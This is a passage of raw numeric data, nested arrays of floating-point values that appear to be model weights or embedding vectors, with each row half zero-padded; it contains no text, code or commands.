0.0, 0.0, 0.0, 0.0], [-0.269249, -0.0525465, 1.25468, -1.51313, 0.233419, -0.778635, 0.336551, -0.493056, -0.377471, -0.264906, 0.0547117, 0.0302607, -0.292306, 0.00021465, -1.51872, 1.44283, 0.450552, 0.41039, 0.590595, -0.817418, 0.248599, 0.940083, -0.126706, -0.749014, -1.83862, -0.257417, 0.200021, -0.908346, -0.592854, 0.505881, 0.692487, 0.424194, -1.69392, -0.153548, -0.620864, -0.757107, -0.662364, 0.527445, 0.140514, -0.252214, 0.293729, 0.28637, -0.624867, -0.807728, -1.41834, -0.0486696, 0.501303, -0.205953, -0.560993, -2.44928, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.103404, -0.100445, 0.28721, -0.0582374, -0.0861892, -0.119165, -0.0955671, 0.115675, -0.0547197, -0.12148, 0.11222, -0.0112275, -0.154066, -0.0503424, 0.0535442, 0.361003, -0.0621603, 0.0760608, 0.0564109, 0.108349, -0.047918, 0.000279164, -0.172168, -0.233291, 0.0221788, 0.0387409, -0.0215179, -0.183681, -0.0758031, 0.189489, -0.290083, 0.416919, -0.0221416, -0.136579, -0.255048, -0.0345366, -0.249357, 0.208141, 0.0855395, -0.087955, -0.155408, -0.0277764, -0.0164976, -0.0141995, -0.0207034, 0.0405823, 0.16782, -0.0213382, -0.133333, -0.186198, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.188896, -0.506316, 0.0189892, -0.402134, 0.194933, 0.196751, 0.20802, 0.282834, 0.144541, -0.537378, 1.00797, 0.0303377, -0.17284, 0.369018, -0.0837269, -0.599677, -0.303449, 0.307459, 0.267285, 0.0737326, 0.296477, -0.277939, -0.979965, 0.215666, 0.18148, 0.231784, 0.473264, 0.121451, -1.00874, 0.0916474, 0.399243, -0.239606, -0.72204, 0.0538507, -1.49452, 0.0640204, -0.677251, 0.233371, 0.397763, 1.52404, 0.324241, 3.85479e-05, 0.214458, 0.281813, -0.454548, -0.0476363, 0.416936, -3.48665, -0.122239, -2.30247, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.162409, -0.321942, -0.763309, -2.47431, 1.67997, -0.106146, -0.182508, 0.586137, -0.144182, 0.0796239, 0.659229, 0.0222027, -0.758469, 0.0699228, 0.747243, 1.98736, -0.25339, -0.216234, -0.135619, -0.862739, 1.82283, -0.340925, 1.7036, -1.1763, -0.380425, -1.03243, 0.103307, -0.193257, 0.00860629, 1.26358, -0.89977, 1.38336, -0.190561, -0.713487, -1.21622, 0.13618, -4.69647, -0.417135, 0.757375, 1.20843, -1.2622, -0.0710199, -0.0948109, -1.71695, 0.642449, 0.028475, -0.380912, -0.0553104, -0.548842, 1.0494, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.083594, 0.0505619, -0.126053, -0.206749, 0.2702, 0.137218, 0.0581273, 0.285075, -0.421514, 0.054688, -0.0113545, -0.0411933, -0.163381, -0.174168, -0.240571, -0.335938, 0.124865, -0.125599, -0.581946, 0.0404547, -0.561237, -0.0060952, -1.57886, 0.0529256, 0.371123, 0.204157, 1.03294, 0.165362, -0.316213, 0.201923, -0.95361, -0.2267, 0.267999, -0.347219, -1.07257, -0.470581, -0.344893, 0.237709, -0.480755, -0.663754, -0.103382, -0.0142905, -0.205289, -0.329164, -0.863693, -0.0486442, -0.595396, 0.091092, -0.0144781, -0.0957289, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0467212, -0.237007, 0.0442691, 0.441296, -0.561878, -0.422489, 0.31008, 0.574382, -4.40078, 0.0215703, 1.33307, 0.0518694, -0.431616, -0.171483, 0.245733, -0.963233, 0.140031, 0.876478, 0.0331337, -0.384692, -0.711211, 0.78629, 0.552154, -0.231838, 0.416933, 0.082421, -0.128694, -1.38233, 0.189907, -0.173866, -0.600173, -0.14384, -0.881041, 0.0315352, 0.904197, 0.139306, -1.70542, 0.725344, -0.449244, -0.293019, -0.452367, -0.275981, 0.0290517, -0.0239316, 0.0421066, 0.0431568, 0.129127, -0.0753598, 0.18083, 0.15449, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.272958, -0.268382, 0.252893, -0.117923, 1.17808, -0.245688, 0.14654, 0.568564, -0.310808, -0.336238, 0.657638, -0.0170156, 0.0568473, -0.0306245, -0.388251, 0.0900137, 0.523125, 0.0839212, -0.197427, -0.0701228, 0.538924, -0.131735, -0.025242, -0.0579633, 0.307544, 0.270631, 0.251291, -0.143916, 0.326444, 0.226216, 0.125388, -0.196582, 0.448927, 0.261516, 0.335796, 0.0140517, -0.725965, 0.221455, 0.942405, 0.482554, -2.20411, -0.102233, -0.176381, -0.411788, -0.500813, 0.0235039, 0.0877314, -0.0515205, -0.0609561, 0.187508, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0760636, -0.173774, -0.236967, -0.164666, -0.0371805, -0.0464119, -0.0539776, -0.509283, 0.0258412, -0.142839, 0.308854, 0.0103798, -0.0593973, 0.0265531, -0.0650798, -0.043234, 0.0916007, 0.0304536, -0.0290839, 0.445026, -0.259352, 0.0389839, -0.368484, 0.0369927, 0.303999, 0.0520539, 0.112132, -0.46863, -0.12463, 0.0980584, -0.0435142, 0.14827, -0.213383, -0.318409, -0.739763, -0.0937123, -0.597094, 0.0643858, -0.445361, -0.158361, -0.0369497, 0.0894609, -0.107928, -0.0240508, -0.210033, -0.044228, 0.152635, 0.0475613, -0.0600511, -0.0761731, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.180006, -0.201999, 0.159506, 0.168806, 0.291109, 0.0644974, 0.172208, 0.0838499, 0.112056, -0.0790284, 0.275538, 0.0195736, 0.314811, -0.151915, 0.135576, -0.061876, -0.18941, 0.44559, 0.243753, -1.21075, 0.409989, -0.0536518, 0.0585771, -0.383639, -0.0202817, 0.21714, 0.212108, -0.0891409, 0.00247995, 0.376694, -0.0883658, -0.120456, 0.22164, 0.311317, -0.1479, 0.0112907, -0.514846, 0.072157, 0.253706, 0.610685, -0.146189, -0.0591597, 0.0990804, 0.338288, -0.128474, -0.0136337, 0.137181, -0.0164967, -0.203126, 0.297745, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.373334, -0.0993392, 0.391782, -3.26592, 0.360281, 0.0521358, 0.375673, 1.17392, -0.297626, 0.00563927, 0.427055, 0.000122598, -0.384219, -0.12399, 0.368098, 0.344141, 0.0692221, 0.102599, -0.240391, -0.276333, 0.0353576, 0.393962, 0.243884, -0.61315, 0.769182, 0.140567, 1.72589, 0.117312, -0.700979, 0.45496, -0.292684, -0.667436, 0.48651, -0.225661, -0.255153, -0.244314, 0.562718, -0.00899324, 0.522598, 1.44901, -1.02771, 0.0022048, 0.16318, 0.176335, -0.81377, -0.000733021, 0.947881, -0.120552, -0.142702, -1.60785, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.468441, 0.216445, -0.870964, -0.494944, -1.91078, -1.05049, 1.25314, -1.42312, -0.308609, -0.177305, -4.12011, 0.0133259, -1.26041, -0.764638, -0.93634, -0.82087, -1.08163, -0.252494, -1.66794, 1.46461, 0.216954, -0.0410292, 2.05111, -0.293973, -0.776841, -4.43104, 3.06308, -4.05476, 0.332429, 0.393322, -2.35526, -1.42391, -0.261729, -0.365718, -1.2944, -0.780715, 0.85978, 1.4091, -0.212031, -1.93372, -0.332729, 0.315584, -1.27926, -0.788631, -0.491638, -0.0471138, -0.233409, 1.35972, 0.234551, -1.65313, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.621839, -0.370011, -0.343497, -0.157158, 0.39632, 0.375416, 0.0740903, -0.319093, -0.109185, 0.238, 1.72712, -0.03021, -0.178943, 0.272491, -0.448899, 1.09559, 0.229765, 0.662485, -0.286665, 0.572583, 0.951619, 0.786809, 0.480643, 0.25157, 0.30063, 0.89421, 0.393001, 1.58338, -0.504449, 0.0545193, -0.570725, 0.0834274, 0.421297, -0.585859, 0.370093, -0.371306, 2.22846, 0.564025, 0.289156, -0.966556, -2.11244, -0.222064, -0.686146, -0.507148, 0.471007, 0.031259, 0.523034, -0.618581, 0.343847, -0.139712, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0626333, -0.0352069, -0.201219, -0.171321, 0.115901, 0.120847, 0.178307, -0.463941, 0.004616, -0.151408, 0.0304278, 0.0470247, -0.246091, 0.0342207, 0.0756876, -0.0357466, 0.126808, 0.233563, -0.00088761, 0.598416, -0.250543, -0.0323746, -0.108154, 0.0863013, -0.271878, 0.103396, 0.0474816, 0.037366, -0.143076, 0.469482, -0.0890124, 0.0803483, -0.108929, -0.319715, -0.215857, -0.169859, -0.0109413, 0.217071, -0.30207, 0.0311734, -0.0194624, -0.00403792, -0.06389, -0.0323555, -0.117348, -0.0348571, 0.200516, 0.0413546, -0.112435, 0.301926, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0349821, -0.0500543, -0.0531267, -0.012878, -0.0588268, 0.0265094, -0.0218767, 0.0227084, 0.0172355, 0.0124341, -0.0396967, -0.0373657, -0.00268404, -0.0386363, -0.00849058, 0.0207545, 0.0165385, 0.00237689, -0.0136187, -0.0519629, 0.0350965, 0.0177126, -0.0372567, 0.0140039, 0.0429562, -0.0310509, -0.0132319, -0.0053013, -0.0348125, 0.0133278, 0.00400374, -0.0298611, -0.0294827, 0.0254312, -0.0348332, 0.00555511, -0.0480706, -0.0206051, -0.0191923, -0.0186773, -0.0568188, -0.0543021, -0.0365001, -0.01056, -0.0483395, 0.0438541, -0.0486749, 0.0487227, -0.0478768, 0.00996031, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.211293, 0.217873, -0.0558827, 0.114622, -0.268141, -0.0801639, -0.108239, 0.315211, -0.414663, 0.0407159, -0.164742, -0.0111792, -0.153497, 0.0322231, -0.0383341, -0.0649323, -0.0403243, -0.229742, -0.276394, 0.548753, 0.0357339, 0.054458, 0.0482196, 0.225688, 0.00447348, -0.177225, -0.160115, 0.059067, 0.175259, -0.166686, -0.0494821, -0.34713, 0.24307, 0.246775, 0.601893, 0.323815, -0.530276, 0.0840768, 0.447512, -0.495628, 0.0377119, 0.0422919, -0.1266, -0.119185, 0.317471, -0.0044304, -0.701925, 0.140641, 0.0542152, -0.127082, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0110532, 0.011939, 0.226067, 0.0407141, 0.342569, 0.0931107, 0.23986, 0.184564, -0.0297046, -0.103143, 0.14667, 0.0105063, -0.0319655, 0.0798454, -0.204796, 0.00961883, -0.0369575, -0.0502614, -0.0570695, 0.408967, -0.331228, -0.114758, -0.229651, -0.0346447, -3.05068, -0.268569, 0.0176312, -0.00903031, 0.00188483, 0.290623, -0.202376, 0.263367, 0.376832, -0.299374, 0.211666, -0.119868, 0.4784, 0.106513, -0.185945, 0.246928, 0.246009, -0.00603912, -0.0535934, 0.135394, 0.0102774, 0.0112748, 0.80668, -0.00844692, 0.0300024, 0.182763, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-2.51986, -0.0397023, 0.287275, -0.57985, 1.42163, 0.453195, 0.326359, 0.535954, -0.576877, -0.218175, -4.82449, 0.00253765, -0.497345, 0.083149, -1.26085, -0.894015, 0.411186, -0.319301, 0.963356, -0.0806284, -0.533537, 1.56402, 0.694273, -0.67837, 1.37981, -0.0664873, -1.07188, -7.93774, 0.214391, -0.136276, -1.70394, -0.926828, -0.356511, 0.188638, 1.2015, -0.242284, -1.05192, -0.508818, 0.058211, -0.894627, 0.179709, -0.122047, -3.39147, 0.445071, -1.48986, -0.0148443, -0.72294, 0.364667, -0.524089, -1.53672, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0280425, -0.056675, 0.040433, 0.0813131, 0.779223, -0.400703, -0.174393, 0.272652, -0.155819, -0.77194, 0.179066, -0.0347416, -0.0487651, 0.0590592, -0.073207, -0.0302324, 0.0042981, 0.873632, -0.0075621, 0.723829, -0.103146, -0.277652, 0.0119326, 0.216802, 0.158381, -0.0556848, -0.011953, 0.0529541, -0.0514991, 0.00446634, -0.36154, -0.331724, -0.644675, -0.401444, 0.00202839, 0.126202, -0.698246, -0.0765684, 0.18267, -0.0794311, 0.0757231, -0.017938, 0.103969, 0.268594, 0.00982174, -0.00500097, -0.104033, 0.107914, -0.242837, -0.0275429, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-2.97518, -0.476913, -0.869179, 0.475939, 1.16223, 0.526906, 0.751906, 1.46603, -0.0609441, -0.216238, 0.190596, -0.0328629, -0.026247, -0.150872, 0.664936, 0.853801, -0.422165, 0.778587, 0.704111, -1.198, 0.568727, -0.0301828, -1.37675, -1.52072, -1.05564, 0.283139, -1.34908, -0.374327, 1.51579, 0.496211, 1.32924, -0.628043, -0.961228, 0.423291, 1.95207, -0.29442, 0.523467, -1.01605, -0.902467, -0.74257, -0.14058, -0.622034, -3.60225, 0.308373, -0.483805, -0.00808846, 0.776674, 0.218846, -0.170414, 1.66929, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.367, -0.2181, 0.1669, -0.3125, 0.3416, 0.218, 0.338, 0.01906, 0.2483, 0.1326, 0.2686, -0.02296, 0.0596, -0.11053, 0.02357, -0.02296, -0.01415, 0.2773, -0.0221, -0.952, -0.4475, -0.2035, 0.01347, -0.1555, -0.2007, 0.3965, 0.0897, 0.292, -0.2795, 0.1738, 0.1904, 0.2087, 0.1032, 0.3413, 0.589, -0.4153, 1.298, 0.1934, -0.0411, -0.05402, -0.2993, -0.01936, -0.0725, -0.11115, -0.1444, -0.04517, 0.6567, -0.236, 0.02484, 0.3098], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.457, -0.1385, 1.096, -1.974, 0.5435, 0.4954, 0.01055, -0.8794, -0.4368, 0.3738, 0.727, -0.04355, 0.1848, -0.09326, 0.3164, 0.3684, 0.2551, -0.731, -0.2517, -0.4915, 0.8384, -0.02933, -0.4902, -0.3823, -1.54, 0.1836, -0.6064, -0.544, -0.07007, 0.2905, 1.947, -0.09595, 0.09845, -0.1224, -1.489, -0.922, 1.0205, 0.2732, -1.882, -0.5186, 0.4136, -0.1444, -0.4082, -1.2705, -1.765, -0.004303, 0.3425, -0.4058, -0.1304, -0.71], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.4307, 0.288, 0.6724, 0.5884, -0.8936, 0.1193, -0.0933, -1.586, -1.111, 0.9194, -0.894, 0.02248, -0.1774, -0.6646, 0.9097, -0.1797, 0.0549, 0.75, -1.478, -2.713, -0.3472, 0.0698, -0.49, -0.646, -2.873, 1.047, -0.268, -0.5493, 0.1018, 0.842, 0.4373, -0.5757, -4.508, -0.5503, -0.10345, -0.792, 0.326, 0.2192, -0.1556, 1.041, -0.7817, -0.04865, -1.61, -2.104, -0.919, -0.01974, -0.9365, -0.3413, -0.453, 0.8525], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2996, -1.124, -0.3955, -0.1318, 2.148, -4.633, 0.1135, 0.002628, -1.301, -0.295, 1.585, 0.007477, 0.0969, 0.0612, 0.8594, 0.0944, -2.926, 1.538, -0.1377, 0.4473, 2.889, 1.174, 0.5137, 1.363, 1.108, -0.1687, 3.16, 1.038, 0.1926, -1.046, 1.576, -0.4248, -2.236, 0.256, -0.3396, -0.003843, 4.633, 1.429, 1.581, 2.371, -0.7246, 0.1204, 0.1917, 1.741, -1.634, 0.003807, 0.6826, 1.283, 1.879, 1.917], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.01482, -0.0457, 0.01152, -0.01466, 0.003496, -0.0406, 0.02388, -0.002975, -0.00965, -0.004585, -0.05603, 0.02216, -0.06256, 0.03079, 0.009056, 0.02162, 0.01752, -0.05655, 0.01035, -0.04465, 0.006287, 0.00634, 0.002028, 0.02776, -0.03787, -0.012054, -0.0511, -0.04822, -0.01715, -0.003702, -0.002068, -0.00887, -0.01624, 0.01587, 0.02565, -0.0548, 0.012344, -0.001669, -0.05695, 0.01811, 0.015594, -0.01239, 0.03592, 0.03256, -0.02968, -0.03784, -0.012955, 0.03012, 0.02536, -0.044], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2996, 0.01982, -0.075, 0.11475, 0.2081, 0.6743, 0.001262, -0.168, -0.1257, -0.0783, -0.244, -0.00926, -0.503, 0.1971, 0.433, -0.2927, -0.4758, 0.0399, 0.202, 0.233, 0.2783, -0.1166, -0.07184, 0.1263, -0.408, -0.136, 0.2123, 0.0919, 0.02197, 0.507, 0.4949, -1.01, 0.4438, -0.656, -0.8594, -0.1566, -0.4285, -0.174, -0.6655, -0.3572, -0.2167, 0.10565, -0.2046, 0.2258, 0.1073, -0.0473, -0.6587, 0.2048, -0.000891, 0.919], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0542, -0.04163, 0.3958, 0.0873, 0.0927, -0.1483, 0.1882, -0.1852, -0.2229, -0.0543, 0.0989, 0.03485, 0.10205, -0.2668, 0.1153, 0.1036, -0.2024, 0.2756, -0.024, 0.18, 0.05945, -0.0582, 0.2363, -0.10736, -0.4531, 0.3086, -0.546, -0.02763, 0.03427, 0.3445, -0.271, -0.001328, 0.09033, 0.0654, -0.2578, 0.124, -0.2854, -0.2927, 0.1134, -0.1825, -0.4744, -0.1115, -0.3098, -0.04807, 0.1039, 0.01741, -0.0827, 0.0915, -0.383, -0.2083], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.197, -0.608, -0.0669, -0.5986, 1.441, -0.04712, -0.361, 0.6074, -1.651, -0.09894, 1.633, -0.04498, 0.0852, 0.4395, -0.542, -0.268, -0.02586, -1.024, -0.0985, 0.2391, -0.2134, -0.3025, 0.7017, 0.2396, -0.3032, -2.348, 0.4773, 0.53, -0.0693, 0.4883, -0.09406, 0.425, 1.146, 0.3438, 0.3591, -0.11145, 0.3398, 0.0792, -0.465, 0.01317, 0.6353, 